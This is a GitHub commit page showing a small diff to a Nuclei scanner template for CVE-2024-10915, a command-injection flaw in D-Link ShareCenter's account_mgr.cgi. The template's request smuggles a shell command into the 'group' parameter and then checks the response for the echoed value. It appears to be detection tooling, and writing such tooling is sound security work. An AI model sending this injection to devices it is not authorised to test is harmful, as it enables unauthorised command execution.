Skip to content

Commit

Permalink
fix
Browse files Browse the repository at this point in the history
  • Loading branch information
Kazgangap committed Nov 11, 2024
1 parent ecf6547 commit a748e8e
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions http/cves/2024/CVE-2024-10915.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -26,17 +26,17 @@ info:
tags: cve,cve2024,dlink,sharecenter,rce

variables:
num: "{{rand_base(12)}}"
random: "{{rand_base(12)}}"

http:
- raw:
- |
GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;echo%20{{num}};%27 HTTP/1.1
GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;echo%20{{random}};%27 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{num}}")'
- 'contains_all(body, "{{random}}", "Content-type: text/html")'
- "status_code == 200"
condition: and

0 comments on commit a748e8e

Please sign in to comment.